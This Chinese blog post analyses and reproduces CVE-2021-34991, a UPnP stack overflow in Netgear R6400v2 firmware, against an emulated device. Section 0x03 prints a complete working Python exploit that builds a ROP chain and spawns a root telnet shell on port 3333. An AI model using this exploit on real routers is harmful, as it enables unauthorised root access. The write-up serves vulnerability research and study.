CVE-2021-34991分析以及复现

0x00.  前言Greater Snow

CVE-2021-34991漏洞可以在Netgear SOHO个别设备中获取root权限,进行远程代码执行。该漏洞发生于upnp服务程序中没有严格检查字符串拷贝的长度,导致可以栈溢出控制程序的执行流。

本次复现所采用的固件版本为R6400v2-1.0.4.118,可在这里进行下载。

https://www.netgear.com/support/download/?model=R6400v2

0x01.  相关汇编知识Greater Snow

固件中程序所采用的是32位ARM架构,这里仅是讲讲复现过程中的重要内容,并没有对整个体系进行讲解。


常用的寄存器有R0、R1、R2、···、R15,R0/R1/R2/R3用于函数的参数传递,函数返回时用R0保存返回值。这里使用的顺序编号,其中一些寄存器还使用了其它标识。

其中:

R11为FP,为栈底指针寄存器,如同X86下的EBP;

R13为SP,为栈顶指针寄存器;

R14为LR,在调用函数时保存下个指令的地址;

R15为PC,指向CPU执行的指令;


下面来看看arm函数调用和函数返回的过程:

.text:0001DEC8 05 00 A0 E1                   MOV             R0, R5        ; int
.text:0001DECC 08 10 A0 E1                   MOV             R1, R8        ; needle
.text:0001DED0 84 21 9F E5                   LDR             R2, =(aSslHttpSocketC+0x20) ; "\r\n"
.text:0001DED4 06 30 A0 E1                   MOV             R3, R6
.text:0001DED8 91 BD FF EB                   BL              find_token_get_val
.text:0001DED8
.text:0001DEDC 00 00 50 E3                   CMP             R0, #0


上面为调用find_token_get_val的汇编代码,使用BL跳转时,会先保存下一指令的地址(即0x0001DEDC)到LR中,然后进行跳转。如果是指令B,则直接进行跳转。


// find_token_get_val首条指令.text:0000D524 F0 47 2D E9                   PUSH            {R4-R10,LR}
// find_token_get_val返回时.text:0000D538 04 00 A0 E1                   MOV             R0, R4.text:0000D53C F0 87 BD E8                   POP             {R4-R10,PC}

从上面可见,在进入find_token_get_val后,首先使用PUSH把父函数的寄存器信息保存,返回时,再使用POP进行恢复。现在来看看这两条指令,里面的”R4-R10”,指的是R4、R5、···、R9、R10寄存器。


如果以X86的视角进行分析: 首先push R4,然后R5, 直到LR;返回时pop R4, R5…诶?不太对,从右往左试试~🙂 仅按括号中的左右顺序进行分析,无论怎样,始终感觉奇怪。其实,ARM采用了更加简单直接的方式:

从官方手册的描述中,我们可以知道是以寄存器的编号大小为PUSH/POP的顺序,大编号对应高地址,小编号对应低地址。以前面的指令为例,并且我们已知栈是从高地址往低地址发展的。PUSH {R4-R10, LR}:先把LR(R14)压栈,再到R10、R9、···、R4。POP {R4-R10, PC}:先出栈给R4,再到R5,···,最后是LR。

0x02.  漏洞分析Greater Snow

该栈溢出漏洞发生在upnpd程序的gena_response_unsubscribe函数中:

char needle[10240]; // [sp+8h] [bp-2C68h] BYREF  char http_msg[512]; // [sp+2808h] [bp-468h] BYREF  char v14[512]; // [sp+2A08h] [bp-268h] BYREF  char uuid_buffer[104]; // [sp+2C08h] [bp-68h] BYREF
 memset(v14, 0, sizeof(v14));  memset(http_msg, 0, sizeof(http_msg));  memset(uuid_buffer, 0, 0x40);  (likePrint)(2, "%s(%d)\n", "gena_response_unsubscribe");  strncpy(http_msg, a1, 511u);                  // a1 -> v13  strlwr(http_msg);                             // 转换成小写  if ( !strstr(http_msg, "sid:") )              // strstr(str1, str2) 判断str2是否为str1的子串    return (send_error_response)(a2);  if ( !strstr(http_msg, "host:") )    return (send_error_response)(a2);  if ( !stristr(http_msg, "uuid:") )    return (send_error_response)(a2);  memset(uuid_buffer, 0, 0x40u);                // 用于存储从http_msg中获取的uuid值  memset(needle, 0, sizeof(needle));  strncpy(needle, "uuid:", 0x3FFu);  if ( !(find_token_get_val)(http_msg, needle) )    return (send_error_response)(a2);

gena_response_unsubscribe函数用于处理http中的UNSUBSCRIBE请求,使用strncpy将传入的http报文信息拷贝到数组http_msg中,然后使用strlwr将http_msg中的大写字母转换为小写。

在下面调用find_token_get_val函数获取uuid的值时,可以赋给uuid_buffer过多的值导致栈溢出:

uuid_value_end = strstr(a1, a3);            // 指向uuid值的结束
    v4 = uuid_value_end;    
    if ( uuid_value_end )    
    {      
      if ( uuid_value_end - uuid_value_start < 1024 )  // 1024      
          strncpy(a4, uuid_value_start, uuid_value_end - uuid_value_start);      
      else

要想控制执行流进行getshell,首先我们需要知道如何构造uuid的值,使得返回地址覆盖为gadget的地址,从而控制执行流。需要注意的是:

(1)strncpy拷贝数据是有x00字节截断的,如果我们构造uuid值中带有x00,

那么前面strncpy(http_msg, a1, 511u)

这里将导致报文缺失,从而获取uuid时,找不到rn而引起程序退出;

(2)前面有大小写转换,那么gadget中不能含有A-Z对应的ascii码值;


对于第一点分析,指令地址的高字节是有x00的,但由于程序是小端序,我们可以用rn绕过,rn替代掉高字节的x00。作为代价是我们uuid值中,只能带有一个gadget地址。


对于第二点,

虽然在gena_response_unsubscribe函数的栈帧空间中,http报文会转换为小写,但在调用gena_response_unsubscribe函数的父函数的栈帧空间中报文还是原始的格式。我们可以增加SP的值,使其指向该处。


大概思路:

控制执行流后先add sp,使其指向getshell gadget,然后pop pc;getshell指令是BL system,不过要先把参数放入R0。至于system的参数,可以通过另外一个请求传入全局变量0x66AD0处。


0x03.  编写EXPGreater Snow

首先说一下idaF5反编译的问题:

从汇编指令来看

find_token_get_val(http_msg, needle)

其实是为

find_token_get_val(http_msg, needle, "rn", uuid_buffer)。

然后,至于uuid_buffer的大小:

// 进入gena_response_unsubscribe后:.text:0001DDAC F0 4F 2D E9                   PUSH            {R4-R11,LR}.text:0001DDB0 B1 DD 4D E2                   SUB             SP, SP, #0x2**0.text:0001DDB4 0C D0 4D E2                   SUB             SP, SP, #0xC
// uuid_buffer第一次memset:.text:0001DE04 02 3A 8D E2                   ADD             R3, SP, #0x2C70+var_C70.text:0001DE08 0B 0B 8D E2                   ADD             R0, SP, #0x2C70+var_70.text:0001DE0C 04 10 A0 E1                   MOV             R1, R4        ; c.text:0001DE10 3C 20 A0 E3                   MOV             R2, #0x3C ; '<' ; n.text:0001DE14 08 4C 83 E5                   STR             R4, [R3,#0xC08].text:0001DE18 0C 00 80 E2                   ADD             R0, R0, #0xC  ; s.text:0001DE1C 18 B7 FF EB                   BL              memset
//uuid_buffer第二次memset.text:0001DE8C 0B 6B 8D E2                   ADD             R6, SP, #0x2C70+var_70.text:0001DE90 08 80 8D E2                   ADD             R8, SP, #0x2C70+needle.text:0001DE94 08 60 86 E2                   ADD             R6, R6, #8.text:0001DE98 04 10 A0 E1                   MOV             R1, R4        ; c.text:0001DE9C 40 20 A0 E3                   MOV             R2, #0x40 ; '@' ; n.text:0001DEA0 06 00 A0 E1                   MOV             R0, R6        ; s.text:0001DEA4 F6 B6 FF EB                   BL              memset
//退出gena_response_unsubscribe前:.text:0001DF04 4C D0 8D E2                   ADD             SP, SP, #0x4C ; 'L'.text:0001DF08 0B DB 8D E2                   ADD             SP, SP, #0x2C00.text:0001DF0C F0 8F BD E8                   POP             {R4-R11,PC}

这里比较奇怪的是,

两次对uuid_buffer进行memset,

uuid_buffer的起始空间是不同的,

一个是sp+0x2c00,一个是sp+0x2c08。

不过我们可以看到,调用

find_token_get_val

时是sp+0x2c08,

此时uuid_buffer的空间大小为0x44,再上面就是R4、R5、…、R11、LR了。

所以我们要先填充0x64字节的数据,再追加我们的gadget。


下面EXP采用的gadget是:

.text:00021F34 01 DA 8D E2                   ADD             SP, SP, #0x1000.text:00021F38 F0 80 BD E8                   POP             {R4-R7,PC}
.text:00018150 04 00 A0 E1                   MOV             R0, R4        ; command.text:00018154 C1 CC FF EB                   BL              system


EXP为:

import socketimport pwn
port = 5000ip = "192.168.1.1"command = "/bin/utelnetd -p3333 -l/bin/sh -d"
def s2b(s):    return bytes([ord(x) for x in s])
def mySend(ip, port, payload):    sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)    sock.connect((ip, port))    sock.send(payload)    pwn.sleep(1)    sock.close()
def set_command():    # 将命令写到全局变量中    payload =  b'<?xml version="1.0"?> '    payload += b'<SOAP-ENV:Envelope> '    payload += b'Body>:'    payload += s2b(command.replace(" ","${IFS}"))    payload += b';Body >'    payload += b" </SOAP-ENV:Body> "    payload += b"</SOAP-ENV:Envelope>"
   request  = b'POST /Public_UPNP_C5 HTTP/1.1\r\n'    request += s2b('Host: http://{}:{}\r\n'.format(ip, port))    request += b'SOAPAction\r\n'    request += s2b('Content-Length: {}\r\n'.format(len(payload)))    request += b'\r\n'    request += payload
   mySend(ip, port, request)
def Exploit():        stack_add_gadget = 0x21F34  #ADD SP, SP, #0x1000; POP {R4-R7,PC}    padding1         = 1304    command_address  = 0x66AD0    padding2         = 12    system_gadget    = 0x18150  #MOV R0, R4; BL system
   payload  = b'UNSUBSCRIBE /Public_UPNP_Event_1 HTTP/1.1\r\n'    payload += s2b('Host: http://{}:{}\r\n'.format(ip, port))    payload += b'SID: whatever\r\n'    payload += b'UUID: ' + b"A"*67    payload += b'4444'    payload += b'5555'    payload += b'6666'    payload += b'7777'    payload += b'8888'    payload += b'9999'    payload += b'1010'    payload += b'1111'        # 小端序地址,使用\r\n替代掉\x00    payload += pwn.p32(stack_add_gadget)[:3]    payload += b'\r\n\r\n'
   # 通过调试找到原始报文的位置,添加垃圾数据,使SP+0x1000后,指向command_address处    payload += b'J' * (padding1 - len(payload))    # 执行system(command)    payload += pwn.p32(command_address)    payload += b'K' * padding2    payload += pwn.p32(system_gadget)
   set_command()   # 将命令存在0x66AD0    mySend(ip, port, payload)    if __name__ == "__main__":    Exploit()

0x04.  测试Greater Snow


这里使用固件自动化模拟工具–FirmAE进行模拟(使用教程:

https://toleleyjl.github.io/2023/02/15/FirmAE%E5%88%9D%E6%AD%A5%E4%BD%BF%E7%94%A8/)。


./run.sh -c R6400v2 ./firmwares/R6400v2-V1.0.4.118_10.0.90.chk

检查一下是否可以模拟。


./run.sh -r R6400v2 ./firmwares/R6400v2-V1.0.4.118_10.0.90.chk

开始模拟,服务开在了192.168.1.1。

进行调试的话,将参数改为-d。


我们可以用nmap扫一下端口,发现upnp服务已经默认开启在了5000端口。


执行exp后,即可使用telnet连接目标的3333端口。

tolele@u22: $ python3 upnpd_exp.pytolele@u22: $ telnet 192.168.1.1 3333Trying 192.168.1.1...Connected to 192.168.1.1.Escape character is '^]'.

BusyBox v1.7.2 (2021-06-30 20:48:26 CST) built-in shell (ash)Enter 'help' for a list of built-in commands.
# lsbin         etc_ro      media       root        sys         wwwdata        firmadyne   mnt         run         tmpdev         lib         opt         sbin        usretc         lost+found  proc        share       var#

0x05.  总结Greater Snow

本次漏洞复现收获颇丰,但也发现了自身知识薄弱的地方:

(1)IOT设备服务程序很多,怎样快速的发现漏洞?或者使用模糊测试工具?

(2)计算机网络知识与逆向功底不到位,报文格式的构造模模糊糊;

0x06.  参考Greater Snow

https://github.com/grimm-co/NotQuite0DayFriday/blob/trunk/2021.11.16-netgear-upnp/README.md

本文作者:星盟安全团队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/197309.html

Tags:
评论  (0)
快来写下你的想法吧!

星盟安全团队

文章数:31 积分: 75

星盟安全团队---"VENI VIDI VICI"(我来,我见,我征服),我们的征途是星辰大海。从事各类安全研究,专注于知识分享。

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号